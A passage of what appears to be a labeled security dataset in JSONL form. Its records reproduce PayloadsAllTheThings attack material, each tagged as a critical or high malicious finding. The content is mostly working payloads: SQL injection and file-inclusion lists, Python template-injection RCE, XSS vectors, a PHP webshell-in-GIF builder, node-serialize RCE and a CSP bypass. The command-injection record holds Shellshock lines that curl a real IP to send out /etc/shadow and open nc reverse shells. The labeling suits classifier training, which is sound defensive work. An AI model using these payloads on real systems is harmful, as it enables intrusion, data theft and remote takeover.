e2/logs/error.log%00\n/var/www/logs/access_log%00\n/var/www/logs/access.log%00\n/var/www/logs/error_log%00\n/var/www/logs/error.log%00\n/var/log/httpd/access_log%00\n/var/log/httpd/access.log%00\n/var/log/httpd/error_log%00\n/var/log/httpd/error.log%00\n/var/log/apache/access_log%00\n/var/log/apache/access.log%00\n/var/log/apache/error_log%00\n/var/log/apache/error.log%00\n/var/log/apache2/access_log%00\n/var/log/apache2/access.log%00\n/var/log/apache2/error_log%00\n/var/log/apache2/error.log%00\n/var/log/access_log%00\n/var/log/access.log%00\n/var/log/error_log%00\n/var/log/error.log%00\n/opt/lampp/logs/access_log%00\n/opt/lampp/logs/error_log%00\n/opt/xampp/logs/access_log%00\n/opt/xampp/logs/error_log%00\n/opt/lampp/logs/access.log%00\n/opt/lampp/logs/error.log%00\n/opt/xampp/logs/access.log%00\n/opt/xampp/logs/error.log%00\n/Program Files\\Apache Group\\Apache\\logs\\access.log%00\n/Program Files\\Apache Group\\Apache\\logs\\error.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/logs/error.log%00\n/logs/access.log%00\n/logs/error.log%00\n/logs/access.log%00\n/logs/error.log%00\n/logs/access.log%00\n/logs/error.log%00\n/logs/access.log%00\n/logs/error.log%00\n/logs/access.log%00\n/logs/error.log%00\n/logs/access.log%00\n/etc/httpd/logs/acces_log%00\n/etc/httpd/logs/acces.log%00\n/etc/httpd/logs/error_log%00\n/etc/httpd/logs/error.log%00\n/var/www/l", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/List_Of_File_To_Include_NullByteAdded.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00022", "source": "payloads_all_the_things", "source_license": "MIT", "text": " and 0=benchmark(3000000,MD5(1))%20/*\n and 0=benchmark(3000000,MD5(1))%20--\n and 0=benchmark(3000000,MD5(1))%20%23\n' and 0=benchmark(3000000,MD5(1))%20/*\n' and 0=benchmark(3000000,MD5(1))%20--\n' and 0=benchmark(3000000,MD5(1))%20%23\n\" and 0=benchmark(3000000,MD5(1))%20/*\n\" and 0=benchmark(3000000,MD5(1))%20--\n\" and 0=benchmark(3000000,MD5(1))%20%23\n) and 0=benchmark(3000000,MD5(1))%20/*\n) and 0=benchmark(3000000,MD5(1))%20--\n) and 0=benchmark(3000000,MD5(1))%20%23\n)) and 0=benchmark(3000000,MD5(1))%20/*\n)) and 0=benchmark(3000000,MD5(1))%20--\n)) and 0=benchmark(3000000,MD5(1))%20%23\n))) and 0=benchmark(3000000,MD5(1))%20/*\n))) and 0=benchmark(3000000,MD5(1))%20--\n))) and 0=benchmark(3000000,MD5(1))%20%23\n)))) and 0=benchmark(3000000,MD5(1))%20/*\n)))) and 0=benchmark(3000000,MD5(1))%20--\n)))) and 0=benchmark(3000000,MD5(1))%20%23\n') and 0=benchmark(3000000,MD5(1))%20/*\n') and 0=benchmark(3000000,MD5(1))%20--\n') and 0=benchmark(3000000,MD5(1))%20%23\n\") and 0=benchmark(3000000,MD5(1))%20/*\n\") and 0=benchmark(3000000,MD5(1))%20--\n\") and 0=benchmark(3000000,MD5(1))%20%23\n')) and 0=benchmark(3000000,MD5(1))%20/*\n')) and 0=benchmark(3000000,MD5(1))%20--\n')) and 0=benchmark(3000000,MD5(1))%20%23\n\")) and 0=benchmark(3000000,MD5(1))%20/*\n\")) and 0=benchmark(3000000,MD5(1))%20--\n\")) and 0=benchmark(3000000,MD5(1))%20%23\n'))) and 0=benchmark(3000000,MD5(1))%20/*\n'))) and 0=benchmark(3000000,MD5(1))%20--\n'))) and 0=benchmark(3000000,MD5(1))%20%23\n\"))) and 0=benchmark(3000000,MD5(1))%20/*\n\"))) and 0=benchmark(3000000,MD5(1))%20--\n\"))) and 0=benchmark(3000000,MD5(1))%20%23\n')))) and 0=benchmark(3000000,MD5(1))%20/*\n')))) and 0=benchmark(3000000,MD5(1))%20--\n')))) and 0=benchmark(3000000,MD5(1))%20%23\n\")))) and 0=benchmark(3000000,MD5(1))%20/*\n\")))) and 0=benchmark(3000000,MD5(1))%20--\n\")))) and 0=benchmark(3000000,MD5(1))%20%23", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/FUZZDB_MySQL-WHERE_Time.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00023", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Server Side Template Injection - Python\n\n> Server-Side Template Injection (SSTI)  is a vulnerability that arises when an attacker can inject malicious input into a server-side template, causing arbitrary code execution on the server. In Python, SSTI can occur when using templating engines such as Jinja2, Mako, or Django templates, where user input is included in templates without proper sanitization.\n\n## Summary\n\n- [Templating Libraries](#templating-libraries)\n- [Universal Payloads](#universal-payloads)\n- [Django](#django)\n    - [Django - Basic Injection](#django---basic-injection)\n    - [Django - Cross-Site Scripting](#django---cross-site-scripting)\n    - [Django - Debug Information Leak](#django---debug-information-leak)\n    - [Django - Leaking App's Secret Key](#django---leaking-apps-secret-key)\n    - [Django - Admin Site URL leak](#django---admin-site-url-leak)\n    - [Django - Admin Username and Password Hash Leak](#django---admin-username-and-password-hash-leak)\n- [Jinja2](#jinja2)\n    - [Jinja2 - Basic Injection](#jinja2---basic-injection)\n    - [Jinja2 - Template Format](#jinja2---template-format)\n    - [Jinja2 - Debug Statement](#jinja2---debug-statement)\n    - [Jinja2 - Dump All Used Classes](#jinja2---dump-all-used-classes)\n    - [Jinja2 - Dump All Config Variables](#jinja2---dump-all-config-variables)\n    - [Jinja2 - Read Remote File](#jinja2---read-remote-file)\n    - [Jinja2 - Write Into Remote File](#jinja2---write-into-remote-file)\n    - [Jinja2 - Remote Command Execution](#jinja2---remote-command-execution)\n        - [Forcing Output On Blind RCE](#jinja2---forcing-output-on-blind-rce)\n        - [Exploit The SSTI By Calling os.popen().read()](#exploit-the-ssti-by-calling-ospopenread)\n        - [Exploit The SSTI By Calling subprocess.Popen](#exploit-the-ssti-by-calling-subprocesspopen)\n        - [Exploit The SSTI By Calling Popen Without Guessing The Offset](#exploit-the-ssti-by-calling-popen-without-guessing-the-offset)\n        - [Exploit The SSTI By Writing an Evil Config File](#exploit-the-ssti-by-writing-an-evil-config-file)\n    - [Jinja2 - Remote Command Execution with Obfuscation](#jinja2---remote-command-execution-with-obfuscation)\n    - [Jinja2 - Filter Bypass](#jinja2---filter-bypass)\n- [Tornado](#tornado)\n    - [Tornado - Basic Injection](#tornado---basic-injection)\n    - [Tornado - Remote Command Execution](#tornado---remote-command-execution)\n- [Mako](#mako)\n    - [Mako - Remote Command Execution](#mako---remote-command-execution)\n    - [Mako - Remote Command Execution with Obfuscation](#mako---remote-command-execution-with-obfuscation)\n- [References](#references)\n\n## Templating Libraries\n\n| Template Name | Payload Format |\n|---------------|----------------|\n| Bottle        | `{{ }}`        |\n| Chameleon     | `${ }`         |\n| Cheetah       | `${ }`         |\n| Django        | `{{ }}`        |\n| Jinja2        | `{{ }}`        |\n| Mako          | `${ }`         |\n| Pystache      | `{{ }}`        |\n| Tornado       | `{{ }}`        |\n\n## Universal Payloads\n\nGeneric code injection payloads work for many Python-based template engines, such as Bottle, Chameleon, Cheetah, Mako and Tornado.\n\nTo use these payloads, wrap them in the appropriate tag.\n\n```python\n__include__(\"os\").popen(\"id\").read() # Rendered RCE\ngetattr(\"\", \"x\" + __include__(\"os\").popen(\"id\").read()) # Error-Based RCE\n1 / (__include__(\"os\").popen(\"id\")._proc.wait() == 0) # Boolean-Based RCE\n__include__(\"os\").popen(\"id && sleep 5\").read() # Time-Based RCE\n```\n\n## Django\n\nDjango template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.\n\n### Django - Basic Injection\n\n```python\n{% csrf_token %} # Causes error with Jinja2\n{{ 7*7 }}  # Error with Django Templates\nih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r\n```\n\n### Django - Cross-Site Scripting\n\n", "findings": [{"category": "malicious", "subcategory": "malicious.ssti", "severity": "high", "explanation": "Server-side template injection payload from Server Side Template Injection/Python.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00024", "source": "payloads_all_the_things", "source_license": "MIT", "text": "`\n|| \n| \n; \n'\n'\"\n\"\n\"'\n& \n&& \n%0a\n%0a%0d\n%0Acat%20/etc/passwd\n%0Aid\n%0a id %0a\n%0Aid%0A\n%0a ping -i 30 127.0.0.1 %0a\n%0A/usr/bin/id\n%0A/usr/bin/id%0A\n%2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\\\" |ping -n 21 127.0.0.1\n%20{${phpinfo()}}\n%20{${sleep(20)}}\n%20{${sleep(3)}}\na|id|\na;id|\na;id;\na;id\\n\n() { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\\`whoami\\`\"\n() { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\\`pwd\\`\"\n() { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\\`grep root /etc/shadow\\`\"\n() { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\\`uname -a\\`\"\n() { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\\`nc -lvvp 1234 -e /bin/bash\\`\"\n() { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\\`nc -lvvp 1236 -e /bin/bash &\\`\"\n() { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=5\"\n() { :;}; /bin/bash -c \"sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6\"\n() { :;}; /bin/bash -c \"sleep 1 && echo vulnerable 1\"\n() { :;}; /bin/bash -c \"sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7\"\n() { :;}; /bin/bash -c \"sleep 3 && echo vulnerable 3\"\n() { :;}; /bin/bash -c \"sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8\"\n() { :;}; /bin/bash -c \"sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9\"\n() { :;}; /bin/bash -c \"sleep 6 && echo vulnerable 6\"\n() { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\\`whoami\\`\"\n() { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\\`pwd\\`\"\n() { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\\`grep root /etc/shadow\\`\"\n() { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\\`uname -a\\`\"\n() { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\\`nc -lvvp 1235 -e /bin/bash\\`\"\n() { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\\`nc -lvvp 1237 -e /bin/bash &\\`\"\n() { :;}; /bin/bash -c \"wget http://135.23.158.130/.testing/shellshock.txt?vuln=4\"\ncat /etc/hosts\n$(`cat /etc/passwd`)\ncat /etc/passwd\n() { :;}; curl http://135.23.158.130/.testing/shellshock.txt?vuln=12\n| curl http://crowdshield.com/.testing/rce.txt\n& curl http://crowdshield.com/.testing/rce.txt\n; curl https://crowdshield.com/.testing/rce_vuln.txt\n&& curl https://crowdshield.com/.testing/rce_vuln.txt\ncurl https://crowdshield.com/.testing/rce_vuln.txt\n curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\\\" |curl https://crowdshield.com/.testing/rce_vuln.txt\ncurl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\\\" |curl https://crowdshield.com/.testing/rce_vuln.txt\n$(`curl https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)\ndir\n| dir\n; dir\n$(`dir`)\n& dir\n&&dir\n&& dir\n| dir C:\\\n; dir C:\\\n& dir C:\\\n&& dir C:\\\ndir C:\\\n| dir C:\\Documents and Settings\\*\n; dir C:\\Documents and Settings\\*\n& dir C:\\Documents and Settings\\*\n&& dir C:\\Documents and Settings\\*\ndir C:\\Documents and Settings\\*\n| dir C:\\Users\n; dir C:\\Users\n& dir C:\\Users\n&& dir C:\\Users\ndir C:\\Users\n;echo%20'<script>alert(1)</script>'\necho '<img src=https://crowdshield.com/.testing/xss.js onload=prompt(2) onerror=alert(3)></img>'// XXXXXXXXXXX\n| echo \"<?php include($_GET['page'])| ?>\" > rfi.php\n; echo \"<?php include($_GET['page']); ?>\" > rfi.php\n& echo \"<?php include(", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "OS command injection payload from Command Injection/command_exec.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00025", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Web Cache Deception\n\n> Web Cache Deception (WCD) is a security vulnerability that occurs when a web server or caching proxy misinterprets a client's request for a web resource and subsequently serves a different resource, which may often be more sensitive or private, after caching it.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [Caching Sensitive Data](#caching-sensitive-data)\n    * [Caching Custom JavaScript](#caching-custom-javascript)\n* [CloudFlare Caching](#cloudflare-caching)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) - Web Cache Poisoning Burp Extension\n\n## Methodology\n\nExample of Web Cache Deception:\n\nImagine an attacker lures a logged-in victim into accessing `http://www.example.com/home.php/non-existent.css`\n\n1. The victim's browser requests the resource `http://www.example.com/home.php/non-existent.css`\n2. The requested resource is searched for in the cache server, but it's not found (resource not in cache).\n3. The request is then forwarded to the main server.\n4. The main server returns the content of `http://www.example.com/home.php`, most probably with HTTP caching headers that instruct not to cache this page.\n5. The response passes through the cache server.\n6. The cache server identifies that the file has a CSS extension.\n7. Under the cache directory, the cache server creates a directory named home.php and caches the imposter \"CSS\" file (non-existent.css) inside it.\n8. When the attacker requests `http://www.example.com/home.php/non-existent.css`, the request is sent to the cache server, and the cache server returns the cached file with the victim's sensitive `home.php` data.\n\n![WCD Demonstration](Images/wcd.jpg)\n\n### Caching Sensitive Data\n\n**Example 1** - Web Cache Deception on PayPal Home Page\n\n1. Normal browsing, visit home : `https://www.example.com/myaccount/home/`\n2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css`\n3. The page is displayed as /home and the cache is saving the page\n4. Open a private tab with the previous URL : `https://www.example.com/myaccount/home/malicious.css`\n5. The content of the cache is displayed\n\nVideo of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page\n[![DEMO](https://i.vimeocdn.com/video/674856618-f9bac811a4c7bcf635c4eff51f68a50e3d5532ca5cade3db784c6d178b94d09a-d)](https://vimeo.com/249130093)\n\n**Example 2** - Web Cache Deception on OpenAI\n\n1. Attacker crafts a dedicated .css path of the `/api/auth/session` endpoint.\n2. Attacker distributes the link\n3. Victims visit the legitimate link.\n4. Response is cached.\n5. Attacker harvests JWT Credentials.\n\n### Caching Custom JavaScript\n\n1. Find an un-keyed input for a Cache Poisoning\n\n    ```js\n    Values: User-Agent\n    Values: Cookie\n    Header: X-Forwarded-Host\n    Header: X-Host\n    Header: X-Forwarded-Server\n    Header: X-Forwarded-Scheme (header; also in combination with X-Forwarded-Host)\n    Header: X-Original-URL (Symfony)\n    Header: X-Rewrite-URL (Symfony)\n    ```\n\n2. Cache poisoning attack - Example for `X-Forwarded-Host` un-keyed input (remember to use a buster to only cache this webpage instead of the main page of the website)\n\n    ```js\n    GET /test?buster=123 HTTP/1.1\n    Host: target.com\n    X-Forwarded-Host: test\"><script>alert(1)</script>\n\n    HTTP/1.1 200 OK\n    Cache-Control: public, no-cache\n    [..]\n    <meta property=\"og:image\" content=\"https://test\"><script>alert(1)</script>\">\n    ```\n\n## Tricks\n\nThe following URL format are a good starting point to check for \"cache\" feature.\n\n* `https://example.com/app/conversation/.js?test`\n* `https://example.com/app/conversation/;.js`\n* `https://example.com/home.php/non-existent.css`\n\n## Detecting Web Cache Deception\n\n1. Detecting delimiter discrepancies: `/path/<dynamic-resource>;<static-resource>`\n   * For example: `/settings/profile;script.js`\n   * If the origin server uses `;` as a delimiter but the cache isn't\n  ", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "medium", "explanation": "Web cache deception payload from Web Cache Deception/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00026", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<?php\n// createGIFwithGlobalColorTable.php\n$_file=\"example.gif\";\n$_payload=\"<?php evil();?>\";\n$_width=200;\n$_height=200;\nif(strlen($_payload)%3!=0){\n echo \"payload%3==0 !\"; exit();\n}\n$im = imagecreate($_width, $_height);\n$_hex=unpack('H*',$_payload);\n\n$colors_hex=str_split($_hex[1], 6);\n\nfor($i=0; $i < count($colors_hex); $i++){\n  $_color_chunks=str_split($colors_hex[$i], 2);\n  $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));\n  imagesetpixel($im,$i,1,$color);\n}\n\nimagegif($im,$_file);\n?>", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/createGIFwithGlobalColorTable.php. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00027", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# DB2 Injection\n\n> IBM DB2 is a family of relational database management systems (RDBMS) developed by IBM. Originally created in the 1980s for mainframes, DB2 has evolved to support various platforms and workloads, including distributed systems, cloud environments, and hybrid deployments.\n\n## Summary\n\n* [DB2 Comments](#db2-comments)\n* [DB2 Default Databases](#db2-default-databases)\n* [DB2 Enumeration](#db2-enumeration)\n* [DB2 Methodology](#db2-methodology)\n* [DB2 Error Based](#db2-error-based)\n* [DB2 Blind Based](#db2-blind-based)\n* [DB2 Time Based](#db2-time-based)\n* [DB2 Command Execution](#db2-command-execution)\n* [DB2 WAF Bypass](#db2-waf-bypass)\n* [DB2 Accounts and Privileges](#db2-accounts-and-privileges)\n* [References](#references)\n\n## DB2 Comments\n\n| Type                       | Description                       |\n| -------------------------- | --------------------------------- |\n| `--`                       | SQL comment                       |\n\n## DB2 Default Databases\n\n| Name        | Description                                                           |\n| ----------- | --------------------------------------------------------------------- |\n| SYSIBM      | Core system catalog tables storing metadata for database objects.     |\n| SYSCAT      | User-friendly views for accessing metadata in the SYSIBM tables.      |\n| SYSSTAT     | Statistics tables used by the DB2 optimizer for query optimization.   |\n| SYSPUBLIC   | Metadata about objects available to all users (granted to PUBLIC).    |\n| SYSIBMADM   | Administrative views for monitoring and managing the database system. |\n| SYSTOOLs    | Tools, utilities, and auxiliary objects provided for database administration and troubleshooting. |\n\n## DB2 Enumeration\n\n| Description      | SQL Query |\n| ---------------- | ----------------------------------------- |\n| DBMS version     | `select versionnumber, version_timestamp from sysibm.sysversions;` |\n| DBMS version     | `select service_level from table(sysproc.env_get_inst_info()) as instanceinfo` |\n| DBMS version     | `select getvariable('sysibm.version') from sysibm.sysdummy1` |\n| DBMS version     | `select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo` |\n| DBMS version     | `select service_level,bld_level from sysibmadm.env_inst_info` |\n| Current user     | `select user from sysibm.sysdummy1` |\n| Current user     | `select session_user from sysibm.sysdummy1` |\n| Current user     | `select system_user from sysibm.sysdummy1` |\n| Current database | `select current server from sysibm.sysdummy1` |\n| OS info          | `select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info` |\n\n## DB2 Methodology\n\n| Description      | SQL Query |\n| ---------------- | ------------------------------------ |\n| List databases   | `SELECT distinct(table_catalog) FROM sysibm.tables` |\n| List databases   | `SELECT schemaname FROM syscat.schemata;` |\n| List columns     | `SELECT name, tbname, coltype FROM sysibm.syscolumns` |\n| List tables      | `SELECT table_name FROM sysibm.tables` |\n| List tables      | `SELECT name FROM sysibm.systables` |\n| List tables      | `SELECT tbname FROM sysibm.syscolumns WHERE name='username'` |\n\n## DB2 Error Based\n\n```sql\n-- Returns all in one xml-formatted string\nselect xmlagg(xmlrow(table_schema)) from sysibm.tables\n\n-- Same but without repeated elements\nselect xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables)\n\n-- Returns all in one xml-formatted string.\n-- May need CAST(xml2clob(\u2026 AS varchar(500)) to display the result.\nselect xml2clob(xmelement(name t, table_schema)) from sysibm.tables \n```\n\n## DB2 Blind Based\n\n| Description      | SQL Query |\n| ---------------- | ------------------------------------------ |\n| Substring        | `select substr('abc',2,1) FROM sysibm.sysdummy1` |\n| ASCII value      | `select chr(65) from sysibm.sysdummy1`     |\n| CHAR to ASCII    | `select ascii('A') from sysibm.sysdummy1`  |\n| Sel", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/DB2 Injection.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00028", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<script\\x20type=\"text/javascript\">javascript:alert(9535);</script>\n<script\\x3Etype=\"text/javascript\">javascript:alert(7743);</script>\n<script\\x0Dtype=\"text/javascript\">javascript:alert(7178);</script>\n<script\\x09type=\"text/javascript\">javascript:alert(7449);</script>\n<script\\x0Ctype=\"text/javascript\">javascript:alert(8711);</script>\n<script\\x2Ftype=\"text/javascript\">javascript:alert(9847);</script>\n<script\\x0Atype=\"text/javascript\">javascript:alert(3663);</script>\n'`\"><\\x3Cscript>javascript:alert(5917)</script>        \n'`\"><\\x00script>javascript:alert(1598)</script>\n<img src=1 href=1 onerror=\"javascript:alert(4971)\"></img>\n<audio src=1 href=1 onerror=\"javascript:alert(5920)\"></audio>\n<video src=1 href=1 onerror=\"javascript:alert(8771)\"></video>\n<body src=1 href=1 onerror=\"javascript:alert(7447)\"></body>\n<image src=1 href=1 onerror=\"javascript:alert(3089)\"></image>\n<object src=1 href=1 onerror=\"javascript:alert(6149)\"></object>\n<script src=1 href=1 onerror=\"javascript:alert(9446)\"></script>\n<svg onResize svg onResize=\"javascript:javascript:alert(1225)\"></svg onResize>\n<title onPropertyChange title onPropertyChange=\"javascript:javascript:alert(5255)\"></title onPropertyChange>\n<iframe onLoad iframe onLoad=\"javascript:javascript:alert(6800)\"></iframe onLoad>\n<body onMouseEnter body onMouseEnter=\"javascript:javascript:alert(0431)\"></body onMouseEnter>\n<body onFocus body onFocus=\"javascript:javascript:alert(4350)\"></body onFocus>\n<frameset onScroll frameset onScroll=\"javascript:javascript:alert(6374)\"></frameset onScroll>\n<script onReadyStateChange script onReadyStateChange=\"javascript:javascript:alert(1921)\"></script onReadyStateChange>\n<html onMouseUp html onMouseUp=\"javascript:javascript:alert(7709)\"></html onMouseUp>\n<body onPropertyChange body onPropertyChange=\"javascript:javascript:alert(8426)\"></body onPropertyChange>\n<svg onLoad svg onLoad=\"javascript:javascript:alert(4906)\"></svg onLoad>\n<body onPageHide body onPageHide=\"javascript:javascript:alert(0224)\"></body onPageHide>\n<body onMouseOver body onMouseOver=\"javascript:javascript:alert(0687)\"></body onMouseOver>\n<body onUnload body onUnload=\"javascript:javascript:alert(9420)\"></body onUnload>\n<body onLoad body onLoad=\"javascript:javascript:alert(4710)\"></body onLoad>\n<bgsound onPropertyChange bgsound onPropertyChange=\"javascript:javascript:alert(1517)\"></bgsound onPropertyChange>\n<html onMouseLeave html onMouseLeave=\"javascript:javascript:alert(9734)\"></html onMouseLeave>\n<html onMouseWheel html onMouseWheel=\"javascript:javascript:alert(2408)\"></html onMouseWheel>\n<style onLoad style onLoad=\"javascript:javascript:alert(0828)\"></style onLoad>\n<iframe onReadyStateChange iframe onReadyStateChange=\"javascript:javascript:alert(2236)\"></iframe onReadyStateChange>\n<body onPageShow body onPageShow=\"javascript:javascript:alert(5797)\"></body onPageShow>\n<style onReadyStateChange style onReadyStateChange=\"javascript:javascript:alert(9596)\"></style onReadyStateChange>\n<frameset onFocus frameset onFocus=\"javascript:javascript:alert(8187)\"></frameset onFocus>\n<applet onError applet onError=\"javascript:javascript:alert(9815)\"></applet onError>\n<marquee onStart marquee onStart=\"javascript:javascript:alert(9723)\"></marquee onStart>\n<script onLoad script onLoad=\"javascript:javascript:alert(8494)\"></script onLoad>\n<html onMouseOver html onMouseOver=\"javascript:javascript:alert(4318)\"></html onMouseOver>\n<html onMouseEnter html onMouseEnter=\"javascript:parent.javascript:alert(3087)\"></html onMouseEnter>\n<body onBeforeUnload body onBeforeUnload=\"javascript:javascript:alert(1781)\"></body onBeforeUnload>\n<html onMouseDown html onMouseDown=\"javascript:javascript:alert(7974)\"></html onMouseDown>\n<marquee onScroll marquee onScroll=\"javascript:javascript:alert(3573)\"></marquee onScroll>\n<xml onPropertyChange xml onPropertyChange=\"javascript:javascript:alert(4387)\"></xml onPropertyChange>\n<frameset onBlur frameset onBlur=\"javascript:javascript:alert(4750)\"></frameset onBlur>\n<applet onReadyStateChang", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/xss_alert_identifiable.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00029", "source": "payloads_all_the_things", "source_license": "MIT", "text": "var y = {\n    rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });},\n}\nvar serialize = require('node-serialize');\nconsole.log(\"Serialized: \\n\" + serialize.serialize(y));", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "Insecure deserialization payload from Insecure Deserialization/node-serialize.js. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00030", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# CSP Bypass\n\n> A Content Security Policy (CSP) is a security feature that helps prevent cross-site scripting (XSS), data injection attacks, and other code-injection vulnerabilities in web applications. It works by specifying which sources of content (like scripts, styles, images, etc.) are allowed to load and execute on a webpage.\n\n## Summary\n\n- [Tools](#tools)\n- [Bypass CSP using JSONP](#bypass-csp-using-jsonp)\n- [Bypass CSP default-src](#bypass-csp-default-src)\n- [Bypass CSP inline eval](#bypass-csp-inline-eval)\n- [Bypass CSP unsafe-inline](#bypass-csp-unsafe-inline)\n- [Bypass CSP script-src self](#bypass-csp-script-src-self)\n- [Bypass CSP script-src data](#bypass-csp-script-src-data)\n- [Bypass CSP nonce](#bypass-csp-nonce)\n- [Bypass CSP header sent by PHP](#bypass-csp-header-sent-by-php)\n- [Labs](#labs)\n- [References](#references)\n\n## Tools\n\n- [gmsgadget.com](https://gmsgadget.com/) - GMSGadget (Give Me a Script Gadget) is a collection of JavaScript gadgets that can be used to bypass XSS mitigations such as Content Security Policy (CSP) and HTML sanitizers like DOMPurify.\n- [csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) - CSP Evaluator allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site scripting attacks.\n\n## Bypass CSP using JSONP\n\n**Requirements**:\n\n- CSP: `script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';`\n\n**Payload**:\n\nUse a callback function from a whitelisted source listed in the CSP.\n\n- Google Search: `//google.com/complete/search?client=chrome&jsonp=alert(1);`\n- Google Account: `https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)`\n- Google Translate: `https://translate.googleapis.com/$discovery/rest?version=v3&callback=alert();`\n- Youtube: `https://www.youtube.com/oembed?callback=alert;`\n- [Intruders/jsonp_endpoint.txt](Intruders/jsonp_endpoint.txt)\n- [JSONBee/jsonp.txt](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)\n\n```js\n<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>\"\n```\n\n## Bypass CSP default-src\n\n**Requirements**:\n\n- CSP like `Content-Security-Policy: default-src 'self' 'unsafe-inline';`,\n\n**Payload**:\n\n`http://example.lab/csp.php?xss=f=document.createElement%28\"iframe\"%29;f.id=\"pwn\";f.src=\"/robots.txt\";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//remoteattacker.lab/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;`\n\n```js\nscript=document.createElement('script');\nscript.src='//remoteattacker.lab/csp.js';\nwindow.frames[0].document.head.appendChild(script);\n```\n\nSource: 